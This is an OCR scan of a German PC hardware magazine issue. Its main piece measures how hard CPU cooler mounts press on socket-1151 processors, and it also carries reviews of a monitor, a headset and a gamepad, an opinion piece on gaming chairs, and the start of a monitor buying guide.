I Bei Erschütterungen sind bis zu 
712 N dynamische Gesamtbelas- 
tung durch den Kühler zulässig. 
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Der erste Wert ist für Kühlerher- 
steller egal, denn der ILM soll nur 
den elektrischen Kontakt im So- 
ckel sicherstellen. Er ist nicht an 
der Wärmeableitung beteiligt. Die 
bis zu 600 N Grundbelastung ver- 
mitteln aber einen guten Eindruck 
davon, für welche Kräfte eine CPU 
konstruiert wird: Sie entsprechen 
ungefähr der Gewichtskraft eines 
Objektes mit 61 kg Masse. Zusam- 
men mit der maximalen Kühleran- 
presskraft erlaubt Intel 822 N dau- 
erhafte, statische Belastung und hat 
darüber hinaus noch Reserven für 
Erschütterungen eingeplant. Ein 
normalgewichtiger Nutzer könnte 
also (guten Gleichgewichtssinn 
und Zehenmuskulatur vorausge- 
setzt) auf dem Prozessor balancie- 
ren und würde ihn dabei weniger 
belasten als der reguläre Einsatz. 


... nicht einmal Richtlinien? 
Um eine CPU dauerhaft zu verfor- 
men, sind erheblich größere Kräfte 
nötig - und trotz der eindeutigen 
Intel-Spezifikationen werden diese 
von einigen Kühlern auch erzeugt. 
Das mussten wir bei unseren ers- 
ten Tests zum Thema feststellen, 
denn der Messbereich des damals 
ausgeliehenen Messgerätes orien- 
tierte sich an den Intel-Spezifika- 
tionen. Ein Anzeigebereich bis zum 
2,5-Fachen der erlaubten 222 N 
Kühleranpresskraft 
Vorfeld mehr als großzügig - in 
der Praxis erreichten einige Kühler 
diesen Wert aber mehrere Halte- 
rungsschrauben-Umdrehungen vor 
dem vom Hersteller vorgegebenen 
Anschlagspunkt. Die tatsächlich 
ausgeübten Kräfte konnten wir nur 
grob hochrechnen, fest stand nur: 
Skylake hält den spezifizierten Be- 
lastungen stand - einige Kühlerher- 
steller scheinen die Spezifikationen 
aber komplett zu ignorieren. 


erschien im 


Alte Frage, neue Messung 
Als Reaktion auf die damalige Be- 
richterstattung brachten einige 
Hersteller Sockel-1151-Nachrüstkits 
für besonders kritische Kühler auf 
den Markt, sodass uns glücklicher- 
weise nur noch sehr vereinzelt 
Berichte über geschädigte Prozes- 
soren und Mainboards erreichen. 
Trotzdem stehen weiterhin die 
Fragen im Raum, welche Kräfte die 
„Killer-Kühler“ tatsächlich ausüben 
und welches Niveau die weiterhin 
verkauften oder seitdem neu er- 
schienen Modelle erreichen. 


So ist eine (LGA-)CPU aufgebaut 


Das Prozessor-Package verbindet den eigentlichen Berechnungen durchführenden (3) 
Silizium-Chip elektrisch und thermisch mit der Umgebung. Oben sitzt der schützende 
(1) Heatspreader (IHS) aus vernickeltem Kupfer, der einwirkende Kräfte in das 
Substrat ableitet, über ein (2) Wärmeleitmittel punktuell erzeugte Wärme aufnimmt 
und auf großer Fläche an den Kühler abgibt. Das unten liegende (4) Substrat muss 
einerseits die einwirkenden Kräfte an (versetzte) Auflagepunkte im (5) Sockel 
abführen, anderseits enthält es Leiterbahnen um die winzigen Lötverbindungen des 
Silizium-Chips auf ein großes Feld von Kontaktflächen zu verteilen. 


Um diese Fragen zu klären, hat sich 
PCGH mit EKL, dem Kühler-Spezia- 
listen hinter den bekannten Alpen- 
föhn-Produkten, zusammengesetzt 
und einen neuen Teststand entwi- 
ckelt. Die Anforderungen: 


H Ein spezifizierter Messbereich bis 
mindestens 450 N, um empfehlens- 
werte Kühler exakt zu vermessen 

I Ein Anzeigebereich bis min- 
destens 900 N, um gefährliche 
Kühler ohne fehlerbehaftete 
Hochrechnungen einzuschätzen 

I Exakte Simulation der Sockel- 
1151- Prozessorhóhe und 
-Mainboard-Flexibilität, um auch 
Kühler vermessen zu kónnen, die 
diese Parameter in ihr Halte- 
rungsdesign einfliefsen lassen 

I Punktfórmige Auflagefläche nur 
auf dem Sensor, um asymmetri- 
sche Kraftflüsse auszuschliefsen 


Vor allem die Kombination aus 
hoher Belastung und 1151-Stan- 
dardumfeld verzógerte das Pro- 
jekt immer wieder. Ein günstiges 
Basis-Mainboard fand sich schnell 
im | Sockel-1151-DDR3-Abverkauf, 
aber auch nach Auslótung des So- 
ckels stand nur sehr wenig Platz 
für die Messtechnik zur Verfügung. 
Am Ende haben wir uns für eine 
Druckmessdose mit einem spezi- 
fizierten Messbereich bis 500 N 
entschieden - mehr war selbst für 
knapp vierstellige Summen in den 
gewünschten Dimensionen nicht 
erhältlich, ohne Abstriche bei Halt- 
barkeit oder Messpräzision zu ma- 
chen. Platziert wird unser Sensor 
in einem gefrästen Metallblock, 
der die Außenabmessungen des 
Sockel 1151 exakt nachahmt und 
an dessen originaler Backplate 
verschraubt wird (siehe Aufma- 
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cher). So stellen wir sicher, dass die 
Mainboard-Flexibilität und die Auf- 
lagefläche für Kühler-Backplates 
einem realen System entsprechen. 
Den Kühlkörpern bieten wir eine 
Stahlplatte mit Skylake-Heatsprea- 
der-Umriss und -Höhe als Kontakt- 
fläche. Diese schwebt, nur auf dem 
Sensor gestützt, circa 1 mm über 
dem Metallblock. Der Spalt macht 
es leicht schräg sitzenden Kühlern 
unmöglich, sich zusätzlich abzu- 
stützen, und die Platte verhindert, 
dass sich die winzige Auflagefläche 
der Druckmessdose in die weiche 
Unterseite von Kühlern bohrt. 


Testfeld und Messmethode 

Mit diesem Versuchsaufbau haben 
wir insgesamt 36 Kühler vermes- 
sen, darunter auch sechs Stück, die 
nachträglich für Skylake angepasst 
wurden und somit zweimal vertre- 
ten sind. Der ausgegraute Wert der 
alten Halterung bezieht sich ex- 
plizit auf nicht mehr vertriebene, 
offiziell als Skylake-inkompatibel 
eingestufte Versionen. Aber auch 
bei anderen Kühlern mussten wir 


mehrmals hinschauen, denn gera- 
de Kühlerhalterungen ohne Spi- 
ralfeder reagieren empfindlich auf 
kleinste Montage-Unterschiede. 
Sogar minimale Verformungen un- 
ter der selbst erzeugten Last führen 
zu messbaren Unterschieden, zum 
Teil sank die ausgeübte Kraft weni- 
ge Minuten nach der ersten Monta- 
ge um 30 bis 50 N. Wir haben daher 
jeden Kühler zunächst 20 Minuten 
auf dem Teststand ruhen lassen, ihn 
dann dreimal de- und erneut mon- 
tiert und jeweils nach fünf Minuten 
die erzeugte Kraft gemessen. Zu- 
sammen mit allen Vor-, Nach- und 
Kalibrierungsmessungen basieren 
die Durchschnittswerte unserer 
Grafik auf über 700 Messungen! 


Die Vorbildlichen 

Neben allen im aktuellen PCGH- 
Einkaufsführer beziehungsweise 
jüngeren PCGH-CPU-Kühlertests 
vertretenen Produkten haben wir 
auch zwei Intel-Boxed-Kühler als 
Referenzobjekte gemessen. Kan- 
didat 1 liegt aktuellen Kaby-Lake- 
CPUs bei, Nummer 2 stammt aus 


den Tiefen des PCGH-Archives und 
war eigentlich für deutlich robus- 
tere Lynnfield- und Sandy-Bridge- 
Prozessoren gedacht. Die Messer- 
gebnisse zeigen aber im Rahmen 
der Produktionsgenauigkeit der 
einfachen Push-Pin-Halterung kei- 
ne Unterschiede und liegen erwar- 
tungsgemäß weit unterhalb von 
Intels Maximal-Spezifikation. 


Ebenfalls im grünen Bereich tum- 
meln sich alle vier getesteten 
Kühler von EKL, das größere der 
beiden Thermaltake-Produkte und 
zwei von drei Cooler-Master-Model- 
len, weswegen wir diese Hersteller 
erneut für ihre vorbildliche Pro- 
duktpolitik loben. Auch je ein Be- 
Quiet- und ein Enermax-Produkt 
finden sich im O0-bis-222-N-Bereich, 
beide Hersteller nutzen aber für 
andere Teile ihrer Produktpalette 
auch kräftigere Halterungen. 


Die Unbedenklichen 

Ein für Skylake nachgerüsteter Ver- 
treter aus dem Hause Thermalright, 
das zweite Thermaltake-Modell und 


- mit 250 N nur minimal darüber 
liegend - der dritte Cooler-Master- 
Vertreter schließen sich unmittel- 
bar an. Vermutlich handelt es sich 
hier um Serienstreuung bei einem 
Zielwert von 220 N. Noctua be- 
wegt sich absichtlich leicht über 
den Intel-Spezifikationen, wie fünf 
Kühler zwischen 260 und 310 N 
beweisen. Allgemein dominiert der 
Bereich bis 350 N unser Testfeld, 
hier finden sich auch die restlichen 
Thermalright-Nachrüst-Lösungen 
und ein weiteres Be-Quiet-Modell. 


Die Kräftigen 

Bei 350 N bis 450 N kann von „spe- 
zifikationsnah“ keine Rede mehr 
sein, die aktuellen Sockel-1151-Hal- 
terungen von Thermalright (3 
Modelle) und die nachgerüsteten 
Scythe-Kühler, das dritte und vier- 
te Be-Quiet-Modell, sowie je ein 
Enermax- und ein Arctic-Kühler 
scheinen diesen Bereich aber ge- 
zielt anzustreben. Der neue Scythe 
Mugen 5 setzt mit 460 N sogar ei- 
nen Tick drauf - hier wird empfoh- 
len, den Kühler vor Transporten zu 


311 bis 600N 
Anpresskraft — 
durch ILM 


Zusátzlich zum Kühler 
drückt auch die Sockel- 
Verriegelung selbst auf 
die CPU, gemäß Spezi- 
fikation mit mindestens : 
311 und maximal 600 N. : 


* 
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Intel Boxed Kühler 
(LGA 1151 Kaby Lake) 


Intel Boxed Kühler 
(LGA 1155 Sandy Bridge) 


0 bis 222N 


zulássige statische Anpresskraft 
Die Kühlerhalterung darf laut Intel maximal 


y 


mit 222 N auf die CPU drücken. 


Г] 
v 


ы; |EKL Alpenfóhn 
Qi Ben Nevis 
Test in: 09/2015 


Test іп: — 


100 
V 


/\ 


100 
Y Be Quiet 
Pure Rock 
T 


Test in: — t in: 01/2017 


EKL Alpenföhn 
Brocken 2 
Test in: 09/2015 


Cooler Master i [`1 
Нурег 4125 i 

Test in: 09/2015 i 

Cooler Master 
Hyper 212X 

Test in: 04/2016 


200 


Thermaltake Frio Ext- 
reme Silent 14 Dual 
Test in: 09/2015 


EKL Alpenföhn 
Brocken Eco 
Test in: 12/2014 


EKL Alpenföhn 
Atlas 
Test in: 04/2016 


EKL Alpenföhn 
Olymp 
Test in: 05/2016 


Thermalright Silver Arrow ITX 
(LGA-1151-Halterung) 
Test іп: — 


Cooler Master 
Hyper 612 Ver.2 
Test in: 12/2014 


L] 


Fuma 


Noctua 
МН-С145 
Test іп: 04/2016 


Noctua 
NH-D15 
Test in: 09/2015 


Noctua 
NH-U14S 
Test in: 12/2014 
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Be Quiet Shadow 
Rock Slim 
Test in: 09/2015 


Scythe 


@ Test їп: 05/2016 


Noctua 
NH-U9S Scythe 
Test in: 01/2017 Ninja 4 


Test in: 09/2015 


400 
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Intel-Mittelklasse-CPU-Packages im Vergleich 


Von links nach rechts: Haswell (Sockel 1150) mit dickerem Substrat, Kaby Lake mit neu gestaltetem Heatspreader sowie zwei Skylake-CPUs mit dünnem Substrat — einmal im 
Originalzustand und deformiert (man beachte die leichte M-Form im unteren Bild, insbesondere die rechte vordere Ecke ist in Richtung des Heatspreaders gebogen). 


MM =" 
JH 


demontieren oder aber zusätzlich 
abzustützen. Letztere Variante hat 
sich zumindest beim Versand von 
PCGH-PCs bewährt. 


Die Inakzeptablen 

Bei Halterungen, die deutlich über 
500 N Anpresskraft erzeugen, sor- 
gen schon kleine Erschütterungen 
der meist schweren Kühler für eine 
Überschreitung der Intel-Vorgaben 
für dynamische Belastungen. Schä- 


den an Mainboard oder CPU sind 
nicht zwangsläufig die Folge und 
der PCGH-Redaktion liegen Be- 
richte von problemlosen Systemen 
in der 800-N-Klasse vor. Ähnlich 
wie beim Übertakten steigt das 
Risiko ab einer gewissen Grenze 
aber deutlich an. In unserer Grafik 
füllen je drei Thermalright- und 
Scythe-Kühler diesen Bereich, ein- 
schließlich des erwiesenermaßen 
Skylake-schädigenden Mugen 4 mit 


rekordverdächtigen 910 N. Für alle 
sechs Modelle gilt aber: Sie dienen 
hier lediglich als Referenz, verkauft 
werden nur noch die 1151-nachge- 
rüsteten Versionen. Im Falle von 
Fuma und Ninja 4 sind diese eine 
besonders positive Überraschung: 
Ersterer galt ab Erscheinen als „So- 
ckel-1151-ready“ und Letzterer wur- 
de von Scythe noch in der PCGH 
02/16 für Skylake-tauglich erklärt 
- trotz 860 N Anpresskraft. (tu) 


Fazit Нагйшаге 


Etwas gezügelt, wenig gelernt 
Skylakegate war für einige Hersteller 
peinlich und erzwang zahlreiche Nach- 
besserungen. Dennoch werden Intels 
Vorgaben nicht eingehalten und auch 
Neuerscheinungen liegen gerne 100 
Prozent und mehr darüber. Extremfäl- 
le ,belohnen" wir ab sofort mit einer 
Award-Sperre und einem Wertungs- 
abzug wegen 1151-Inkompatibilität. 


v 


222 bis 712 N 


zulássige dynamische Last 


Bei Erschütterungen übt der Kühler zusätzliche Kräfte aus, kurzfristig sind bis zu 712 N 
erlaubt. Wird das System gar nicht bewegt, kann ein Teil dieser Sicherheitsreserve vom CPU- 


Kühler genutzt werden. 


Thermalright Le 
Grand Macho RT 
Test in: 01/2017 


Be Quiet Dark 
Rock Pro 3 
Test in: 09/2015 


Thermalright True Spirit 
140 Direct 
Test in: 01/2017 


Scythe 


500 
Mugen 5 
Test in: 01/2017 


Enermax 
ETS-TA40F-RF 
Test in: 04/2016 


Thermalright 


v Test in: 04/2016 


Thermalright Silver Arrow ITX 


(Originalhalterung) 
Test in: 05/2016 


600 
V 


A 
600 


Macho Direct 


Thermalright True Spirit 140 BW Rev. A 
(Originalhalterung) 
Test in: 09/2015 


Über 712 N 


unspezifizierter Bereich 


" " Scythe Fuma 
(Originalhalterung) 
Test in: 05/2016 


Kühlerhalterungen mit über 712 N Anpresskraft 
gefáhrden die CPU bereits in Ruhelage. 


Scythe Mugen 4 
(Originalhalterung) 
Test in: 07/2013 


Thermalright Macho Rev. B 
(Originalhalterung) 
Test in: 02/2015 


700 800 900 
V V 
700 800 900. 
Scythe Ninja 4 
(Originalhalterung) 


Test in: 09/2015 


Arctic Freezer i32 Test in: 04/2016 


Be Quiet Shadow 
Rock LP 
Test in: 04/2016 


Ein sehr beliebter Kühler fehlt vorerst in unserer Darstellung: Bei zwei Arctic-Freezer-i32-Testmustern wurden Anpresskräfte weit oberhalb q 
vom Freezer i11 des gleichen Herstellers gemessen. Die Ergebnisse der beiden Muster unterschieden sich zudem deutlich voneinander und 

führten in beiden Fällen zu starkem Verschleiß an den Backplate-Gewinden. Wir glauben daher Arctics Darstellung, dass der Freezer i32 für 

deutlich geringere Anpresskräfte designt wurde. Bis Redaktionsschluss war es aber nicht möglich, die Unterschiede zwischen PCGH- und Arctic-eigenen 


Scythe Mugen 4 Arctic Messungen zu erklären, weswegen wir vorerst auf einen Abdruck unserer Ergebnisse verzichten. Wir werden das Thema weiter analysieren und in einer 
(LGA-1151-Halterung) Freezer i11 späteren Ausgabe darauf zurückkommen. Bislang sind Arctic und der PCGH-Redaktion keine Fälle von CPU-Schäden bekannt, die durch Freezer i32 
Test Test in: 01/2017 oder durch andere (vom Markt genommene) Kühler mit ähnlich hohen PCGH-Messergebnissen verursacht wurden. 
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Frank Stöwer 
Fachbereich Stuhltester 
E-Mail: fs@pcgh.de 


Kommentar 


Brauchen Spieler wirklich einen Stuhl im 
Rennsitz-Design oder wurde hier von den 
Herstellern nur ein neuer Markt geschaffen? 


Als ich Mitte 2014 erstmalig sogenannte Gaming 
Chairs testete, gab es lediglich eine Handvoll Her- 
steller für die mit Stützwangen im Sitz- und Schul- 
ter/Rückenbereich versehenen Bürostühle. Bei 
meiner zweiten Marktübersicht in der Ausgabe 
08/2016 stellte ich dann fest, dass der Trend an- 
ders als von mir vermutet noch längst nicht abge- 
flaut war. Zu den Platzhirschen der ersten Markt- 
übersicht (Maxnomic, DX Racer und ACRacing) 
gesellten sich mit Noblechairs, Nitro Concepts, 
Vertagear, Thunder X3, Speedlink und Tesoro viele 
neue Anbieter der Sitzmöbel für Spieler, wobei 
sich viele Modelle bei der Farbe und dem Design 
von Sitzfläche, Rückenlehne und Armablagen von- 
einander unterschieden. Offensichtlich ist hier ein 
für die Hersteller/Verkäufer lukrativer Trend kreiert 
worden und nun will jeder ein Stück vom Gewinn- 
kuchen abhaben - ein empfehlenswerter Gaming 
Chair kostet immmerhin 300 Euro aufwärts. 


Eine Bestätigung für meine These, dass der Be- 
darf an Bürostühlen im Rennsitz-Design von 
den Herstellern/Händlern geschaffen wurde und 
nicht bei der spielenden Kundschaft gewachsen 
ist, gaben mir dann zwei Pressemitteilungen von 
Sharkoon und Corsair. Beide Hardware-Hersteller 
haben zwar Gehäuse, Netzteile, Speicher (Cor- 
sair) und Peripherie-Geräte im Programm. Dass 
Corsair und Sharkoon jetzt auch noch Gaming 
Chairs in ihrem für Spieler beworbenen Portfo- 
lio führen, zeigt mir, dass hier nur noch versucht 
wird, mit dem Gaming-Label Kasse zu machen. 
Vor vier Jahren sprach kein Spieler von dieser 
Art Sitzmöbel und es gab überhaupt keine Not- 
wendigkeit für bunte Bürostühle. Da reichte ein 
ordentliches Modell vom Fachhändler noch völlig 
aus. Wenn jetzt auf einmal der Gaming-Chair- 
Markt so einen Boom erlebt, dann liegt das nicht 
an der Nachfrage der Gamer, sondern an der ge- 
schickten Marketing-Taktik der Hersteller. 
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Schick, aber kein echtes HDR 


Als ,dünnster Monitor der Welt" wurde der Dell 
S2718D angekündigt. Auf den ersten Blick schin- 
det der silberne Monitor mit seinem Design 
Eindruck. Die Bildqualitát entpuppt sich aber 
als bestenfalls mittelmäßig und „Dell HDR” als 
Mogelpackung. 


m Datenblatt ist etwas von „Dell HDR“ zu le- 

sen. Außer Lyrik über das lebensechte Bild 
steht darin aber nichts Konkretes, was das 
nun genau bedeutet. Klar ist nur, was es nicht 
ist, nämlich echtes HDR, geschweige denn der 
HDR10-Standard. Schließlich finden wir im 
Monitor-Menü zwei Anzeigemodi, „Spiel HDR“ 
und „Film HDR“, mit denen die HDR-Wieder- 
gabe (aber nicht -Anzeige!) möglich sein soll. 
Tatsächlich konnte in Spielen mit HDR-Unter- 
stützung die entsprechende Funktion aktiviert 
werden. Aber ein sichtbarer Unterschied oder 
gar eine bessere Darstellung konnten wir nicht 
erkennen. Auch mit dem Kolorimeter war kein 
Unterschied im Kontrast oder in der Farbtreue 
festzustellen. 


Während Optik, aber auch Preis hochklassig 
wirken, fällt das Panel bei der Bildqualität ledig- 
lich mittelmäßig aus. Die maximale Helligkeit 


mit ca. 310 cd/m? ist okay und die WQHD-Auf- 
lösung mit 2.560 x 1.440 Pixeln auf 27 Zoll bei 
60 Hz gerade richtig. Nur der Kontrast ist mit 
са. 700:1 zu niedrig für ein Gerät, das mit „HDR“ 
beworben wird. Helligkeitsunterschiede in der 
Ausleuchtung messen wir bis zu 12 Prozent, was 
noch nicht sichtbar sein dürfte und ebenfalls 
mittelmäßig ist. Immerhin: Der Input Lag be- 
läuft sich auf nur 10,4 ms. Ein guter Wert, der das 
Display uneingeschränkt spieletauglich macht. 
Ihm fehlt aber eine Displayport-Buchse, dafür 
wird ein USB-Typ-C-Adapter benótigt. (тс) 


Dell 527180 


Fazit: Das Pseudo-HDR hat uns enttàuscht, das hàtte Dell 
ruhig weglassen können. Zudem ist er mit mindestens 
600 Euro recht teuer für ein einfaches IPS-Panel. Aber Dell 
kündigte bereits echte HDR-Modelle an. 

Hersteller: Dell 

Web: www.dell.de 

Preis: Ca. € 600,- | Preis-Leistung: Mangelhaft 


© Edles Design [Ausstattung | 2,05 
O Geringer Input Lag | Eigenschaften | 2,60 
© Teuer, kein echtes HDR | Leistung 137 
PCGH-Preisvergleich www.pcgh.de/preis/1603651 
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Teufel Cage 


Teufel hat sich Zeit gelassen und lange an dem 
ersten Spieler-Headset gewerkelt. Das hat sich 
ausgezahlt, das Cage kann im Test überzeugen. 


chon seit geraumer Zeit arbeitet die Berli- 
S. Lautsprecher-Schmiede Teufel an einem 
Spieler-Headset. Erste Prototypen bekamen wir 
Schon vor Monaten zu Gesicht. Doch Teufel 
wollte nichts überstürzen, sondern ein von Be- 
ginn an überzeugendes Gerit liefern. 


Offenbar war das die richtige Herangehenswei- 
se: Teufels erstes Spieler-Headset ist sehr gelun- 
gen und kann sich selbst im stark umkámpften 
Markt herausstellen und gegenüber Mitstrei- 
tern auch etablierter Hersteller behaupten. Die 
Überzeugungsarbeit des Cage beginnt schon 
beim Auspacken des Headsets: Der Name „Cage“ 
entstammt der auffälligen und hochwertig an- 
mutenden Aluminium-Aufhángung der Hörer. 
Diese ist sauber aus einem einzelnen Teil ge- 
fräst, Gunmetal-Grau eloxiert und mittels kräftig 
dimensionierter Schrauben mit dem flexiblen, 
doch ebenfalls sehr robust wirkenden Kopf- 
bügel verbunden. Die Kunststoffe sind hap- 
tisch wie optisch sehr gefällig, die Polster aus 


anschmiegsamem Kunstleder gefertigt. 
Das Mikrofon sowie die Verkabelung via 
Klinke können beidseitig angeschlossen 
werden, das Headset kennt also prinzipiell 
kein Links oder Rechts, sondern wählt die 
Polung automatich. Außerdem kann neben 
dem Spiele-Signal gleichzeitig eine Verbin- 
dung mit mobilen Geräten genutzt werden 
und so etwa zur selben Zeit gespielt und 
telefoniert werden - ein Mikrofonschal- 
ter am Headset sorgt dabei für Privatsphäre, 
auch beim gleichzeitigen Spiele-Chat via USB. 
Unter den wechselbaren Ohrpolstern verbirgt 
sich auf jeder Seite ein kräftiger 40-mm-Treiber. 
Diese sorgen für einen angenehm hochauflö- 
senden und ausgewogenen Sound - das Cage ist 
kein Bassbomber, sondern drückt den Tiefton 
straff und mit viel Punch in die Gehörgänge. 
Per USB angebunden liefert der im Gerät ver- 
baute C-Media-Chip indes mit einer Soundkarte 
vergleichbare und nützliche Features, darunter 
Mikrofonverbesserungen, virtueller Surround, 
Bass-Boost oder Equalizer. Das Teufel Cage wird 
im Juli ausgeliefert, der Preis soll laut Teufel bei 
etwa 170 Euro liegen - Vorbesteller erhalten das 
Cage ab dem 30. Mai für 149,99 Euro. (pr) 


07/2017 


Teufel 
Cage 


Hardıuare 
D 


Teufel Cage 


Fazit: Die lange Entwicklungszeit hat sich gelohnt: Das Cage 
überzeugt mit sehr gutem Sound, hoher Qualität außen und 

innen, ausgeklügeltem und schickem Design, sauberer Verar- 
beitung sowie flexiblen Einsatzmöglichkeiten — klasse! 


Hersteller: Teufel 
Web: www.teufel.de 


Preis: Ca. € 150-170,- | Preis-Leistung: Befriedigend 
Ausstattung 1,82 
Eigenschaften | 1,55 
| Leistung 1,76 


PCGH-Preisvergleich 
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Noch nicht gelistet 


2tainment Dual Pad Pro USB: Wohnzimmer-PC tauglich? 


Wer gern Action-Titel und Fun-Racer wie Forza Hori- 
zon 3 am PC spielt, nutzt dafür oft ein Gamepad. Ist 
das Modell von 2tainment ein guter Spielpartner? 


pieler, die ein brauchbares Gamepad für den 

PC suchen, finden neben dem am PC nutzba- 
ren MS Xbox One Wireless Controller und dem 
Razer Wildcat noch Geräte relativ unbekannter 
Hersteller. Zu denen gehört auch die Firma 2tain- 
ment, die mit dem Dual Pad Pro USB eine Alterna- 
tive zu den beiden Platzhirschen auf Lager hat. Das 
Gamepad des deutschen Peripherieherstellers 
bietet mit insgesamt neun Knöpfen, zwei Schul- 
tertasten, zwei analogen Triggern, einem Steuer- 
kreuz sowie zwei analogen Mini-Sticks dieselbe 
Ausstattung wie Micosofts oder Razers Pad. Zu 
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den Extras des Dual Pad Pro USB gehört die Mög- 
lichkeit, zwischen dem drahtlosen und verdrah- 
teten Betrieb wechseln zu können. Der Wireless- 
Empfänger findet bei Nichtverwendung in einem 
Fach auf der Unterseite Platz (siehe Bild). Zusätz- 
lich zum 3 m langen USB-Kabel liefert 2tainment 
einen USB-auf-Micro-USB-Adapter mit, damit das 
Pad, das Microsofts PC-Xbox-Spiele-Stream unter- 
stützt, auch an Android-Geräten wie Tablet oder 
Handy genutzt werden kann. Eine Unterstützung 
für den Einsatz an der Steam Machine ist eben- 
falls vorhanden. Hierfür muss man allerdings den 
„DINPUT“-Modus wählen, da der zu den meisten 
Android-Spielen kompatibel ist. Mit „XINPUT“ 
und dem Mausmodus - der Wechsel erfolgt per 
Home-Knopf - stehen zwei weitere Modi bereit. 


Beim Test mit Project Cars stellte sich heraus, dass 
das Dual Pad Pro dank der teilgummierten Griff- 
hórner und Seitenteile griffig und ergonomisch 
in der Handinnenfläche liegt. Bei großen Händen 
kann es bei langen Spielsessions zu Verspannun- 
gen und Ermüdungen im Handgelenk kommen, 
weil die Zeigefinger sich für ein feinfühliges Be- 
tätigen der analogen Trigger, beispielsweise Gas 
geben/Bremsen bei Project Cars stark krümmen 
müssen. Die Position der Daumen auf den mit 
einen sehr guten Widerstand versehenen Mini- 
sticks geht dagegen auch bei großen Händen 
in Ordnung. Mit dem Erreichen der restlichen 
Knöpfe gibt es ebenfalls keine Probleme und 
auch deren Druckpunkte sowie die Reaktion des 
Steuerkreuzes fallen gut bis sehr gut aus. (fs) 


al Pad Pro USB 


Fazit: Für PC-Spieler mit kleinen oder normal großen Händen 
ist das Dual Pad Pro USB ein Handschmeichler, der zusätzlich 
mit seiner Android- und Steam-Machine-Kompatibilität sowie 
den zwei Betriebsarten (drahtlos/verdrahtet) punktet. 


Hersteller: 2tainment 
Web: www.2tainment.com 
Preis: Ca. € 40,- | Preis-Leistung: Befriedigend bis gut 


Ausstattung 1,80 
Eigenschaften | 1,70 
; Leistung 1,80 


PCGH-Preisvergleich Aktuell nur bei Amazon erháltl. 


WERTUNG 


07/17 | PC Games Hardware 71 


| INFRASTRUKTUR | Kaufberatung Monitore 


Pixeldurchbl 


Black Luminance: 0,699 


Performance Data 


White Luminance: 324,1 cd/m? 
cd/m* 


Avg deltaE: 12,2 


Max deltaE: 17,8 


@ Point: 6M 


ick 


Welchen Monitor hätten: denn gerne? Soll die Bildqualität gut sein oder die Reaktionszeit? Oder am 


besten beides? Gibt's auch, kostet aber. Wir kláren auf, welcher Monitor für Sie der richtige ist. 


W: sich zum Rechner einen 
neuen Bildschirm anschaf- 
fen möchte, sieht oft den Monitor 
vor lauter Pixel nicht. Denn wie 
soll ein potenzieller Monitorkäufer 
auch bei der Fülle an Auflösungen, 
Größen, Formaten, Panel-Techni- 
ken und sonstigen Ausstattungs- 
merkmalen durchblicken? 


Wie bei nahezu allen PC-Kompo- 
nenten gibt es auch unter Monito- 
ren ausgewiesene Gaming-Modelle. 
Gleich vorneweg: Das heißt nicht, 
dass diese für jeden PC-Gamer ge- 
eignet sind oder dass es andere 
Monitore nicht sind. Je nach Spiele- 
genre unterscheiden sich auch die 
Ansprüche an das Display. Wer 
etwa schnelle Multiplayer-Shooter 
zockt, benötigt einen Monitor mit 
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möglichst geringer Verzögerung 
zwischen Maus- und Cursorbewe- 
gung, also dem sogenannten Input 
Lag. Technisch bedingt braucht ein 
Monitor einige Millisekunden, bis 
das Bild von der Grafikkarte auch 
an der Mattscheibe angezeigt wird. 


Der Hersteller gibt im Datenblatt 
des Monitors lediglich die soge- 
nannte Reaktionszeit an. Das ist die 
Dauer, die ein Pixel für einen Farb- 
wechsel benötigt. Und weil sich 
geringe Werte in Datenblättern 
schöner machen, lesen wir hier nur 
etwa 1 bis 5 ms. Vorsicht! Das ist 
nur die minimale Reaktionszeit bei 
einem Wechsel von Hellgrau nach 
Dunkelgrau. In diesem Fall müssen 
sich die Flüssigkristalle nur wenig 
drehen. Andere Farbwechsel haben 


andere, teils weitaus höhere Reakti- 
onszeiten. Diese Datenblattangabe 
ist daher nur ein grobes Indiz für 
die Reaktionszeit des Monitors, die 
immer nur ein Teil des gesamten 
Input Lags ist. Außerdem nützt die 
beste Reaktionszeit nichts, wenn 
ein Monitor mit einer standardmä- 
Вівеп Bildwiederholrate von 60 Hz 
nur alle 16 ms ein anderes Bild lie- 
fert. Bei 144 Hz schaut er alle 7 ms 
nach, ob die Grafikkarte ein neues 
Bild berechnet hat. Die Bildfre- 
quenz sollte schon gut dreistellig 
sein, wenn der Monitor für schnel- 
le Shooter angeschafft wird. 


TN-Panel sind nicht nur die güns- 
tigsten Displays, 
nach wie vor die mit der gerings- 
ten Reaktionszeit. Deswegen ist TN 


sondern auch 


nicht nur in Billigmodellen zu fin- 
den, sondern auch in hochfrequen- 
ten Gaming-Modellen. Die aktuell 
maximal móglichen 240 Hz gibt 
es etwa nur bei einem TN-Panel in 
Full-HD-Auflósung. Für reaktions- 
schnelles TN müssen außerdem 
Kompromisse in der Bildqualität 
eingegangen werden. Technisch 
bedingt leiden sie unter einer ge- 
ringen Blickwinkelstabilität, verfü- 
gen bestenfalls über einen mittel- 
mäßigen Kontrast und weisen eine 
geringe Farbraumabdreckung auf. 


IPS- und VA-Displays sind in Sachen 
Bildqualität klar im Vorteil. Bei IPS 
gibt es kaum Verfälschungen, so- 
dass die Panel-Technik schon oft 
auf den ersten Blick erkennbar ist. 
So schön die Farben auch darge- 
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stellt werden, die Reaktionszeiten 
sind bei IPS und VA stets höher. 
Dafür liefern die Displays auch 
ein besseres (Stand-)Bild. Denn 
in Bewegungen neigen sie wegen 
der langsameren Flüssigkristalle 
stärker zu Schlieren. Einen Kom- 
promiss bietet hier die Overdrive- 
Funktion, über die fast jeder Moni- 
tor mittlerweile verfügt. Dadurch 
wird eine höhere Spannung an die 
Kristalle angelegt, damit sie sich 
zum Bildwechsel schneller dre- 
hen. Im Display-Menü oft schlicht 
als „Reaktionszeit“ bezeichnet, ist 
diese je nach Modell mehrstufig 
einstellbar. In der höchsten Stufe 
kann es aber wieder zu Bildver- 
fälschungen kommen, sodass ein 
mittleres Overdrive-Niveau oft der 
beste Kompromiss ist. 


Für die meisten Gamer dürfte ein 
Kompromiss aus Bildqualität und 
Reaktionszeit die beste Alternati- 
ve sein. Wer Online-Shooter nicht 
unbedingt auf Wettkampfniveau, 
mehr Single-Player oder genüg- 
same Strategiespiele zockt, kann 
ruhig zum „schöneren“ statt zum 
schnellen Monitor greifen. 
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ггееѕупс 2 un - ync HDR 
Neue Techniken sind im Kommen: 


HDR mit mehr Farben (ab 10 Bit) 
und einer helleren Hintergrundbe- 
leuchtung ist bei TVs schon längst 
vorhanden. Entsprechende Moni- 
tore lassen bislang auf sich war- 
ten. LG war der erste Hersteller, 
der Ende letzten Jahres ein Gerät 
